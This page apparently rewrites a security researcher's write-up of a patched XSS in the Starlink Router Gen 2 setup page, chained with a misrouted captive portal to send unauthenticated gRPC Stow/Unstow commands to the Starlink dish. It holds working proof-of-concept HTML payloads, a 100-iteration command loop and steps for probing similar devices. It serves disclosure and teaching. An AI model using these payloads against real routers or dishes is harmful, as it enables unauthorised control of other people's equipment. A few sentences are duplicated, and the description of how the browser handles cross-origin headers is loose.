Skip to content
XSS Write-up Intermediate

2023 Starlink Router Gen 2 XSS

The Starlink Router Gen 2 setup page did not properly filter the SSID and password fields, allowing an attacker to inject JavaScript. Combined with a bug that exposed the setup page on the Dishy's internal address, an attacker could bypass the Same-Origin Policy and send unauthenticated gRPC commands to control the Dishy.

hackintoanetwork Follow

Published on medium.com

{{media:0}}

hackintoanetwork, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is the Starlink Router Gen 2, the second-generation consumer router that ships with the Starlink terminal (Dishy). The router exposes a captive portal at its internal address, http://[redacted]/setup, which is the initial setup page where the owner sets the network name (SSID) and password. The Dishy terminal has its own internal address, [redacted], and the Stow request captured from the iOS Starlink app goes to it over gRPC-Web on port 9201.

The bug class is cross-site scripting (XSS) in the setup page, and the write-up shows how it combines with a second flaw to reach the Dishy. The tested version is 2022.32.0.

hackintoanetwork
hackintoanetwork From the original on medium.com

Setup

The researcher tested a Starlink Router Gen 2 running version 2022.32.0. The reference for the Dishy request format is the iOS Starlink app, which is where the Stow command's HTTP request was observed.

No accounts or roles are involved: the setup page is the pre-configuration captive portal, and the Dishy gRPC endpoint, as the write-up shows, does not authenticate the caller.

Finding it

The setup page at http://[redacted]/setup takes the ssid and password parameters and does not filter them sufficiently. Because the values are not filtered sufficiently, a value that breaks out of the attribute context executes script.

The researcher also noticed a second, older bug: the captive portal page is supposed to be served only at the router's address, [redacted], but on older routers it was unexpectedly reachable at Dishy's internal address, [redacted] as well. The write-up confirms both:

  • http://[redacted]/setup displays the captive portal page correctly.
  • http://[redacted]/setup also displays the captive portal page, which should not be possible at Dishy's address.

The same XSS was confirmed to occur at http://[redacted]/setup. That matters because it puts script execution in the origin of the Dishy's address, which is where the gRPC endpoint lives.

Exploitation

Step 1: trigger the XSS through the setup form

The first proof of concept posts a crafted ssid value to the setup page and auto-submits the form:

HTML
<html> <body>  <h1>Proof of Concept</h1>  <form id="PoC" method="POST" action="http://[redacted]/setup">   <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>   <!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->  </form>  <script type="text/javascript">   document.addEventListener("DOMContentLoaded", function() {    document.getElementById("PoC").submit();   });  </script> </body><html>

The ssid value carries an onfocus handler with autofocus, and the password parameter is shown commented out as an alternative injection point. The password parameter is shown commented out as an alternative injection point. The inline script submits the form automatically on DOMContentLoaded, so the XSS is triggered in conjunction with a CSRF attack.

Step 2: understand the Dishy Stow request

When the administrator interface issues the Stow command (which folds the Dishy antenna for movement or storage), the following request goes to Dishy:

HTTP
POST /SpaceX.API.Device.Device/Handle HTTP/1.1Host: [redacted]:9201Content-Length: 8x-grpc-web: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36content-type: application/grpc-web+protoAccept: */*Origin: http://dishy.starlink.comReferer: http://dishy.starlink.com/Accept-Encoding: gzip, deflate, brAccept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7Connection: close�}

The headers carry the important details:

  • x-grpc-web: 1 indicates the use of the gRPC-Web protocol, which lets web clients make gRPC calls to a server.
  • content-type: application/grpc-web+proto means the data uses gRPC and is encoded in protobuf.
  • The request body is in the grpc-web+proto format and holds the details of the Stow command:
Text
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00

Examining the request shows there is no authentication for the user sending it. Someone other than the administrator could potentially send the same request and control the Dishy without authorisation. That flaw on its own requires physical access to the local network, which limits its scope compared with a remote attack.

Step 3: why a plain CSRF does not work

The obvious next question is whether the same payload can simply be sent as a CSRF request. It cannot, because of the browser's Same-Origin Policy. gRPC requires the specific content-type header application/grpc-web+proto, and the SOP mandates that this header is stripped by the browser when a request is sent from a different origin. That prevents an external page from sending gRPC requests to Dishy.

Step 4: use XSS to bypass the SOP

XSS is the most effective way around this. Normally the SOP stops a browser from making requests to different origins, but a script injected by XSS runs inside the victim's browser and is treated as originating from the site the victim is on. Requests it generates are therefore seen as same-origin, and the SOP restrictions do not apply. For gRPC, the script runs in the victim's browser and the request is treated as legitimate, so the specific content-type header is included.

Step 5: send the Stow and Unstow gRPC calls

Combining the XSS with the captive portal bug at [redacted], the payload that sends gRPC requests to Dishy is:

HTML
<html> <body>  <h1>Dishy Stow and Unstow</h1>  <form id="PoC" method="POST" action="http://[redacted]/setup">   <!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->   <input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>  </form>  <script type="text/javascript">   document.addEventListener("DOMContentLoaded", function() {    document.getElementById("PoC").submit();   });  </script> </body><html>

Here the injection is in the password parameter, which breaks out of the attribute and opens a <script> block. The script loops 100 times, and on each iteration sends two XMLHttpRequest POSTs to http://[redacted]:9201/SpaceX.API.Device.Device/Handle, setting x-grpc-web: 1 and Content-Type: application/grpc-web+proto so the requests match what the administrator interface sends. The first request body is [0,0,0,0,3,146,125,0] and the second, sent one second later, is [0,0,0,0,5,146,125,2,8,1]. A response handler logs the response text when the request completes with status 200. The outer timer spaces the iterations two seconds apart. The form auto-submits on DOMContentLoaded, so loading the attacker's page is enough to start the loop. The write-up describes this as a proof of concept for Stow and Unstow of the Dishy.

Root cause

The XSS comes from insufficient input filtering of the ssid and password parameters on the initial setup page, which lets a value escape its attribute context and inject an event handler or a script block. The second flaw is that the captive portal page is served at Dishy's internal address [redacted] as well as at the router's [redacted], although it should only be reachable at the router's address. Serving the vulnerable page in the Dishy's origin is what lets the injected script make same-origin gRPC calls to [redacted]:9201 and bypass the SOP. The gRPC endpoint itself does not authenticate the caller. The write-up does not describe the server-side code, so the exact filtering mistake is not shown.

Impact

Through the XSS in the initial setup page, an attacker can gain control of the router and the Dishy. In the demonstrated case, the injected script issues Stow and Unstow commands to the Dishy. The attack is delivered as a CSRF-style auto-submitting form. The unauthenticated gRPC endpoint on its own would require physical access to the local network, which limits that flaw's scope compared with a remote attack; the XSS plus the captive portal bug is what turns it into something a victim's browser can carry out.

Fix

The vulnerability was patched in the latest release, with the fix in versions 2023.48.0 and up. The write-up does not describe the code change itself.

Variants to test

  1. Try the other setup parameter. The first PoC comments out the password field and injects through ssid; the second does the reverse. On a similar device, submit both fields with the attribute-breaking value and see whether an onfocus/autofocus handler or a script block executes.
  2. Check whether the captive portal is reachable at secondary internal addresses. Request the setup page at each address the device exposes (the router's and the terminal's) and look for the same page being served where it should not be. A positive result is the setup form rendering at an address other than the router's own.
  3. Probe the gRPC-Web endpoint without credentials. Send a request with x-grpc-web: 1 and content-type: application/grpc-web+proto to the device's Handle path and see whether it is processed without authentication.
  4. Test whether the browser strips the gRPC content type cross-origin. From a page on a different origin, attempt the same POST and observe whether the request arrives with application/grpc-web+proto intact; if it is stripped, the request should fail, which is the behaviour the XSS is used to avoid.
  5. Look for other reflected values on the setup page that land in attribute context, and check whether an injected script can reach other same-origin endpoints on the terminal's address once it runs there.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A security researcher found a way to gain control of a Starlink router and its satellite dish through an XSS flaw in the setup page. The trick relies on two mistakes that, on their own, are fairly small, but together let an attacker take control of the hardware.

The first mistake is on the router's first-time setup page. That page asks you for a Wi-Fi network name and a password. It does not filter what you type sufficiently before using it. If you type something clever instead of a normal name, the page will run it as a small program. That kind of flaw is called cross-site scripting, or XSS.

The second mistake is that this same setup page, which is only supposed to live at the router's own address, could also be reached at the dish's address on older routers. That matters because the dish is a separate device with its own internal address. If a script is running from the dish's own address, the browser trusts it to talk to the dish.

Put together, the XSS and the captive portal bug let an attacker gain control of the router and the Dishy, as the proof of concept sending Stow and Unstow commands shows.

The researcher tested this on a Starlink Router Gen 2 running version 2022.32.0. The report was sent to SpaceX/Starlink on 10 October 2023, acknowledged as a moderate-severity issue two days later, and fixed in versions 2023.48.0 and up. It was published on 14 December 2023 and tracked as CVE-2023-49965.

hackintoanetwork
hackintoanetwork From the original on medium.com

The pieces involved

Before walking through the attack, here is what each part of the setup is, in everyday terms.

  • The router is the small box in your home that gives you Wi-Fi. The Starlink Router Gen 2 is the second-generation model that ships with the Starlink kit. It has an internal address, [redacted], which is the address your browser uses to reach it on your own home network. Think of it like the reception desk of a building: it is the fixed place you go to ask for things.
  • The dish, called Dishy in the report, is the antenna outside that talks to the satellites. It has its own internal address, [redacted]. It is a separate device from the router, with its own reception desk.
  • The captive portal is the setup page that appears the first time you connect to a new router, before you have configured anything. On Starlink it lives at http://[redacted]/setup. It is where you type the Wi-Fi network name (the SSID) and the Wi-Fi password.
  • An API is a way for one piece of software to ask another piece of software to do something, without a human clicking buttons. Think of it as a waiter in a restaurant: you tell the waiter what you want, the waiter goes to the kitchen, and the kitchen prepares it. You never walk into the kitchen yourself. Here, the browser is the customer, the dish is the kitchen, and the API is the waiter.
  • gRPC is a particular style of API that computers use to talk to each other efficiently. gRPC-Web is a version of it designed so that a web browser can make those calls. The dish listens for gRPC-Web requests on port 9201.
  • Protocol buffers, or protobuf, is the format gRPC uses to package the data. It is a compact binary format, not readable text like JSON. That is why the request bodies in this report look like strings of numbers rather than words.
  • A header is a small piece of information attached to every web request, like the label on a parcel. It tells the receiving server what kind of content is inside, who sent it, and so on.
  • The Same-Origin Policy (SOP) is a rule built into every browser. It says that a web page loaded from one address is not allowed to read responses from, or freely send certain requests to, a different address. Think of it as a building security rule: a visitor with a badge for floor 3 cannot walk onto floor 7. The rule exists to stop one website from quietly messing with another.
  • Cross-site request forgery (CSRF) is an attack where a malicious page makes the victim's browser send a request to another site, using the victim's existing trust in that site. The victim does not intend to send the request; the attacker's page does it for them.
  • Cross-site scripting (XSS) is an attack where an attacker gets their own code to run inside a page the victim trusts. Once that code runs, the browser treats it as part of the trusted site, so it can do anything the site itself could do.

Finding the XSS

The setup page at http://[redacted]/setup accepts two values from the form: ssid (the Wi-Fi network name) and password (the Wi-Fi password). The page does not clean the submitted values properly before using them. The problem is that it does not clean that input properly first.

When a value is placed inside an HTML attribute, like value="...", a normal name stays safely inside the quotes. But if the value contains a double quote, it can close the attribute early and start adding new HTML of its own. That is the whole trick: break out of the box, then write your own instructions.

The researcher also noticed a second, older bug. The setup page is supposed to be served only at the router's address, [redacted]. On older routers, it was also reachable at the dish's address, [redacted]. The report confirms both:

  • http://[redacted]/setup shows the setup page, as expected.
  • http://[redacted]/setup also shows the setup page, which should not happen at the dish's address.

The same XSS was confirmed at http://[redacted]/setup. That detail is the key to the whole attack, because it means the attacker's script can run as if it came from the dish's own address, which is exactly where the dish's command endpoint lives.

Step 1: trigger the XSS through the setup form

The first proof of concept is a small HTML page. It builds a form that posts a crafted ssid value to the setup page, then submits itself automatically.

HTML
<html> <body>  <h1>Proof of Concept</h1>  <form id="PoC" method="POST" action="http://[redacted]/setup">   <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>   <!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->  </form>  <script type="text/javascript">   document.addEventListener("DOMContentLoaded", function() {    document.getElementById("PoC").submit();   });  </script> </body><html>

Line by line:

  • <html> <body> opens a normal web page.
  • <h1>Proof of Concept</h1> is just a heading so the researcher can see the page loaded.
  • <form id="PoC" method="POST" action="http://[redacted]/setup"> starts a form. The id gives it a name so the script can find it. method="POST" means the form sends its data in the body of the request rather than in the URL. action is the address the form sends to: the router's setup page.
  • <input type="hidden" name="ssid" value='" onfocus=javascript:alert(XSS); autofocus="'> is the payload. It is a hidden field, so the victim never sees it. The name is ssid, so the router will treat the value as the Wi-Fi network name. The value is the interesting part: it starts with a single quote, then a double quote, then onfocus=javascript:alert(XSS); autofocus=, then another double quote and a single quote. When the router puts this value into its own HTML, the double quote closes the attribute the router was building, and the rest becomes new HTML: an onfocus handler that runs alert(XSS), plus autofocus, which makes the browser focus that element automatically. The payload adds an onfocus handler that runs alert(XSS), plus autofocus.
  • The commented-out line <!-- <input type="hidden" name="password" ...> --> is the same payload aimed at the password field instead. It is commented out here so the researcher can test one field at a time. The report shows it as an alternative injection point.
  • <script type="text/javascript"> starts a small script that runs in the victim's browser.
  • document.addEventListener("DOMContentLoaded", function() { waits until the page has finished loading. DOMContentLoaded is an event the browser fires when the HTML is parsed and ready.
  • document.getElementById("PoC").submit(); finds the form by its id and submits it immediately. The victim does not have to click anything.
  • }); closes the event listener.
  • </script> </body><html> closes the script, the body and the page. The closing tag is written as <html> rather than </html> in the report; browsers are forgiving about that.

Why this step matters: the form submission is the CSRF part. The victim only has to load the attacker's page. The browser then sends the crafted ssid to the router, and the XSS is triggered in conjunction with the CSRF attack.

Step 2: understand the Dishy Stow request

Now the researcher looks at what the dish actually accepts. The reference is the iOS Starlink app, where the Stow command was observed. Stow is the command that folds the dish antenna for movement or storage, like folding a deckchair so you can carry it.

When the administrator interface issues Stow, the following request goes to the dish:

HTTP
POST /SpaceX.API.Device.Device/Handle HTTP/1.1Host: [redacted]:9201Content-Length: 8x-grpc-web: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36content-type: application/grpc-web+protoAccept: */*Origin: http://dishy.starlink.comReferer: http://dishy.starlink.com/Accept-Encoding: gzip, deflate, brAccept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7Connection: close�}

Line by line:

  • POST /SpaceX.API.Device.Device/Handle HTTP/1.1 is the request line. POST means we are sending data. /SpaceX.API.Device.Device/Handle is the path on the dish that handles device commands. HTTP/1.1 is the version of the web protocol.
  • Host: [redacted]:9201 says which machine and port we are talking to: the dish, on port 9201.
  • Content-Length: 8 says the body is 8 bytes long.
  • x-grpc-web: 1 is a custom header that tells the dish this is a gRPC-Web request. x-grpc-web: 1 is a header that indicates the use of the gRPC-Web protocol.
  • User-Agent: Mozilla/5.0 ... Chrome/117.0.5938.63 ... identifies the browser that sent the request. It is the standard string Chrome sends.
  • content-type: application/grpc-web+proto says the body is gRPC-Web data encoded with protobuf. The report notes the SOP strips this header when a request is sent from a different origin.
  • Accept: */* says the client will accept any response format.
  • Origin: http://dishy.starlink.com and Referer: http://dishy.starlink.com/ say which page the request came from. The Origin and Referer headers both show dishy.starlink.com.
  • Accept-Encoding: gzip, deflate, br lists the compression formats the client understands.
  • Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 lists the languages the client prefers, with Korean first.
  • Connection: close asks the server to close the connection after the response.
  • The trailing �} is part of the captured body as shown in the report.

The body itself is shown separately:

Text
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00

This is the protobuf-encoded Stow command. The \x notation means a byte written in hexadecimal. The request body contains data in the grpc-web+proto format, which likely holds the details of the Stow command. The rest is the protobuf message that tells the dish to stow. You do not need to decode it by hand to follow the attack; What matters is that this is the body captured with the Stow request.

The important observation is that the request carries no authentication. There is no password, no token, no cookie, nothing that proves the sender is the owner. Someone other than the administrator could potentially send the same request and control the dish. On its own, that flaw needs physical access to the local network, which limits how bad it is compared with an attack that works over the internet.

Step 3: why a plain CSRF does not work

The obvious next question is: if the dish accepts unauthenticated commands, why not just send the same request from a malicious page as a CSRF? The answer is the browser's Same-Origin Policy.

gRPC requires the specific content-type header application/grpc-web+proto. The SOP says that when a page from one origin sends a request to a different origin, the browser strips certain headers, and this content type is one of them. Without that header, the request is not a valid gRPC request, which is what prevents external pages from sending gRPC requests to Dishy. That is the browser protecting the dish from a random page on the internet.

Step 4: use XSS to bypass the SOP

XSS is the way around this. Normally the SOP stops a page from one origin from making requests to another. But a script injected by XSS runs inside the victim's browser, in the context of the page it was injected into. The browser treats it as part of that page, so requests it makes are seen as same-origin. The SOP restrictions do not apply, and the content-type header is kept.

That is why the second bug, the setup page being reachable at [redacted], is so useful. If the script runs from the dish's own address, then requests to [redacted]:9201 are same-origin. The browser lets them through with the gRPC headers intact.

Step 5: send the Stow and Unstow gRPC calls

Combining the XSS with the captive portal bug at [redacted], the payload that sends gRPC requests to the dish is:

HTML
<html> <body>  <h1>Dishy Stow and Unstow</h1>  <form id="PoC" method="POST" action="http://[redacted]/setup">   <!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->   <input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>  </form>  <script type="text/javascript">   document.addEventListener("DOMContentLoaded", function() {    document.getElementById("PoC").submit();   });  </script> </body><html>

Line by line:

  • <html> <body> opens the page.
  • <h1>Dishy Stow and Unstow</h1> is a heading.
  • <form id="PoC" method="POST" action="http://[redacted]/setup"> starts a form that posts to the setup page at the dish's address, not the router's. This is the second bug being used.
  • The commented-out ssid line is the same payload as before, kept as an alternative. This time the active injection is in password.
  • <input type="hidden" name="password" value='"><script>... is the payload. The value=' opens the attribute, then "> closes it, and then a <script> block begins. Everything inside the script runs in the victim's browser as if it came from [redacted].
  • for(let i=0;i<100;i++){ starts a loop that runs 100 times. Each iteration schedules a pair of requests.
  • setTimeout(()=>{ delays the work inside it. The delay is given at the end of the loop body as i*2000, so the first iteration runs immediately, the second after 2 seconds, the third after 4 seconds, and so on. That spaces the requests out.
  • var xhr=new XMLHttpRequest(); creates a request object. XMLHttpRequest is the older browser API for sending HTTP requests from JavaScript.
  • xhr.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true); prepares a POST to the dish's command endpoint. The true means asynchronous, so the page does not freeze while waiting.
  • xhr.setRequestHeader("x-grpc-web","1"); adds the gRPC-Web marker header.
  • xhr.setRequestHeader("Content-Type","application/grpc-web+proto"); adds the content type the dish expects. Because the script is running from the dish's own origin, the browser keeps this header.
  • xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}}; sets up a callback. When the request finishes (readyState == 4) with a success status (status == 200), it logs the response to the browser console. This is just for the researcher to see that it worked.
  • xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer); sends the first command. The array [0,0,0,0,3,146,125,0] is the Stow command in the same byte format as the captured request. Uint8Array is a JavaScript way to hold raw bytes, and .buffer gives the underlying binary data to send.
  • setTimeout(()=>{ starts a one-second delay before the second request.
  • var xhr2=new XMLHttpRequest(); creates a second request object.
  • xhr2.open("POST","http://[redacted]:9201/SpaceX.API.Device.Device/Handle",true); prepares the second POST to the same endpoint.
  • xhr2.setRequestHeader("x-grpc-web","1"); and xhr2.setRequestHeader("Content-Type","application/grpc-web+proto"); add the same headers.
  • xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}}; logs the second response.
  • xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer); sends the second command. The array [0,0,0,0,5,146,125,2,8,1] is the Unstow command, which unfolds the dish again.
  • },1000); closes the one-second delay.
  • },i*2000); closes the outer delay, spacing each iteration two seconds apart.
  • }</script> closes the loop and the script block.
  • <input type="hidden'/> is a leftover hidden input that closes the HTML cleanly after the injected script.
  • </form> closes the form.
  • The final <script> block is the same auto-submit as before: it waits for DOMContentLoaded and calls document.getElementById("PoC").submit();.
  • </script> </body><html> closes the page.

Why this step matters: the victim loads the attacker's page. The page auto-submits the form to http://[redacted]/setup. The setup page reflects the password value, the injected <script> runs, and because it is running from the dish's origin, the browser lets it send gRPC requests to the dish with the right headers. The loop runs 100 times, spacing the iterations two seconds apart, and sends a Stow and an Unstow request each time. The report describes this as a proof of concept for Stow and Unstow of the Dishy.

Root cause

The XSS comes from insufficient input filtering of the ssid and password parameters on the initial setup page. A value that contains a quote can escape the attribute it is placed in and inject an event handler or a script block. The second flaw is that the setup page is served at the dish's address [redacted] as well as at the router's [redacted], even though it should only be reachable at the router's address. Serving the vulnerable page in the dish's origin is what lets the injected script make same-origin gRPC calls to [redacted]:9201 and bypass the SOP. The gRPC endpoint itself does not authenticate the caller, so once a request arrives with the right headers, it is acted upon. The report does not show the server-side code, so the exact filtering mistake is not visible.

Impact

Through the XSS in the initial setup page, an attacker can gain control of the router and the dish. In the demonstrated case, the injected script issues Stow and Unstow commands to the dish. The attack is delivered as a CSRF-style auto-submitting form. The unauthenticated gRPC endpoint on its own would require physical access to the local network, which limits that flaw's scope compared with a remote attack. The XSS plus the captive portal bug is what turns it into something a victim's browser can carry out.

Fix

The vulnerability was patched in the latest release, with the fix in versions 2023.48.0 and up. The report does not describe the code change itself.

Variants to test

If you are testing a similar device, these are the directions the report points to:

  1. Try the other setup parameter. The first proof of concept comments out the password field and injects through ssid; the second does the reverse. On a similar device, submit both fields with the attribute-breaking value and see whether an onfocus/autofocus handler or a script block executes.
  2. Check whether the setup page is reachable at secondary internal addresses. Request the setup page at each address the device exposes (the router's and the terminal's) and look for the same page being served where it should not be. A positive result is the setup form rendering at an address other than the router's own.
  3. Probe the gRPC-Web endpoint without credentials. Send a request with x-grpc-web: 1 and content-type: application/grpc-web+proto to the device's Handle path and see whether it is processed without authentication.
  4. Test whether the browser strips the gRPC content type cross-origin. From a page on a different origin, attempt the same POST and observe whether the request arrives with application/grpc-web+proto intact. If it is stripped, the request should fail, which is the behaviour the XSS is used to avoid.
  5. Look for other reflected values on the setup page that land in attribute context, and check whether an injected script can reach other same-origin endpoints on the terminal's address once it runs there.

Glossary

  • API: a way for one piece of software to ask another to do something, without a human clicking buttons.
  • Attribute: a piece of information attached to an HTML element, such as value="..." on an input field.
  • Captive portal: the setup page shown when you first connect to a new router, before it is configured.
  • Content type: a header that says what format the body of a request is in, such as application/grpc-web+proto.
  • Cross-site request forgery (CSRF): an attack where a malicious page makes the victim's browser send a request to another site, using the victim's existing trust in that site.
  • Cross-site scripting (XSS): an attack where an attacker gets their own code to run inside a page the victim trusts.
  • CVE: a public identifier for a known security vulnerability, here CVE-2023-49965.
  • Dishy: the Starlink dish antenna that talks to the satellites.
  • DOMContentLoaded: a browser event fired when the HTML of a page has finished loading.
  • gRPC: a style of API that computers use to talk to each other efficiently.
  • gRPC-Web: a version of gRPC designed so that a web browser can make those calls.
  • Header: a small piece of information attached to a web request, like a label on a parcel.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Input filtering: cleaning up data a user submits before using it, so it cannot do anything unexpected.
  • Origin: the combination of scheme, host and port that identifies where a page came from, such as http://[redacted].
  • Port: a numbered channel on a machine that a particular service listens on, such as 9201 for the dish's gRPC endpoint.
  • Protobuf (protocol buffers): a compact binary format gRPC uses to package data.
  • Reflected value: input that a server sends straight back into the page it returns.
  • Same-Origin Policy (SOP): a browser rule that stops a page from one origin from freely reading or sending certain requests to another origin.
  • SSID: the name of a Wi-Fi network, which the setup page asks you to choose.
  • Stow: the command that folds the dish antenna for movement or storage.
  • Unstow: the command that unfolds the dish again.
  • XMLHttpRequest: a browser API for sending HTTP requests from JavaScript.

More from SpaceX/Starlink

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.